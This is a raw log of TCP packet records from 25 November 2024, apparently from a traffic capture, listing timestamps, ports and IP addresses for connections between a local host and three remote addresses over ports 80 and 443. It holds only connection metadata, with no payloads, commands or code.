Nov 25, 2024 07:53:22.714634895 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.714771032 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.715356112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.715529919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.715605974 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.716169119 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.716233969 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.716274977 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.716347933 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.717070103 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.717128992 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.717143059 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.717190027 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.717818022 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.717912912 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.747680902 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.747775078 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.747821093 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.747868061 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.748133898 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.748178005 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.748225927 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.748225927 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.748959064 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.749062061 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.749099016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.749238014 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.749747992 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.749882936 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.752948046 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.753010035 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.753051996 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.753078938 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.753102064 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.753122091 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.759306908 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.759419918 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.759753942 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.759865999 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.759936094 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.760548115 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.760570049 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.760616064 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.760662079 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.760704041 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.760720015 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.760761976 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.760761976 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765170097 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765225887 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765243053 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765249968 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765292883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765307903 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765376091 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765393972 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765439987 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765455008 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765485048 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765517950 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765526056 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.765551090 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.765571117 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.768367052 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.768392086 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.768440962 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.768450022 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.768493891 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.768493891 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.773396015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.773412943 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.773454905 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.773463011 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.773511887 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.774250984 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.774315119 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.774364948 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.774651051 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.774651051 CET	49736	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.774667025 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.774674892 CET	443	49736	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.775830030 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.775846004 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.775892019 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.775899887 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.775958061 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.780726910 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.780757904 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.780936956 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.781416893 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.781429052 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.781986952 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.781992912 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.782255888 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.782274961 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.782321930 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.782330036 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.782365084 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.782393932 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.784320116 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.784353018 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.784399033 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.784409046 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.784427881 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.784451008 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.791193962 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.791212082 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.791294098 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.791307926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.791343927 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.792678118 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.792704105 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.792749882 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.792772055 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.792785883 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.792829037 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.799000025 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.799019098 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.799093008 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.799105883 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.799164057 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.800575972 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.800592899 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.800678968 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.800702095 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.801410913 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.808501959 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.808518887 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.808573008 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.808579922 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.808634996 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.808989048 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.809011936 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.809076071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.809098959 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.809119940 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.809134960 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.810147047 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.810193062 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.810262918 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.810553074 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.810615063 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.810657978 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.810729027 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.811455011 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.811466932 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.811508894 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.811549902 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.812197924 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.812376976 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.812517881 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.812531948 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.812572002 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.812609911 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.813349962 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.813402891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.813436031 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.813453913 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.814150095 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.814245939 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.814248085 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.814441919 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.815031052 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.815042019 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.815159082 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.815782070 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.815896988 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.815900087 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.815953970 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.816303968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.816322088 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.816370010 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.816381931 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.816387892 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.816390038 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.816437960 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.816462040 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.816468954 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.816478014 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.816513062 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.816625118 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.816721916 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.816787958 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.817625999 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.817639112 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.817707062 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.817720890 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.825164080 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.825185061 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.825265884 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.825272083 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.825311899 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.835623026 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.835654020 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.835724115 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.835738897 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.835758924 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.835836887 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.844786882 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.844805956 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.844871998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.844881058 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.844923973 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.844937086 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.853462934 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.853481054 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.853538036 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.853547096 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.853579044 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.853616953 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.861126900 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.861144066 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.861217022 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.861224890 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.861293077 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.862143040 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.862987041 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.868464947 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.868473053 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.870079994 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.870096922 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.870183945 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.870193005 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.870251894 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.872375965 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.872425079 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.872608900 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.872608900 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.872622967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.872749090 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.872756004 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.872855902 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.873435974 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.873532057 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.873547077 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.873552084 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.873591900 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.873644114 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.874284029 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.874303102 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.874340057 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.874340057 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.874866962 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.874974966 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.874983072 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.875056028 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.875695944 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.875756979 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.875818968 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.875902891 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.876503944 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.876571894 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.876610041 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.876660109 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.877353907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.877403021 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.877470016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.877693892 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.878168106 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.878211021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.878232956 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.878340960 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.878488064 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.878503084 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.878583908 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.878586054 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.878593922 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.878604889 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.878648043 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.879002094 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.879012108 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.879018068 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.879065037 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.879072905 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.879148960 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.879812956 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.879856110 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.879921913 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.879987001 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.880651951 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.880711079 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.880748987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.880805969 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.881481886 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.881577015 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.881583929 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.881634951 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.882366896 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.882380962 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.882417917 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.882504940 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.883148909 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.883228064 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.883255959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.883336067 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.883960962 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.884047031 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.884088039 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.884841919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.884855032 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.884918928 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.884918928 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.885663033 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.885724068 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.885790110 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.886497974 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.886578083 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.886588097 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.886627913 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.887367010 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.887417078 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.887439013 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.887470961 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.887494087 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.887511015 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.887547970 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.887562990 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.887602091 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.887628078 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.888134003 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.888195992 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.888222933 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.888521910 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.894051075 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.894165039 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.894218922 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.894406080 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.894560099 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.894619942 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.895266056 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.895282030 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.895330906 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.895330906 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.896070957 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.896135092 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.896174908 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.896295071 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.896337032 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.896351099 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.896410942 CET	49732	443	192.168.2.6	150.171.27.10
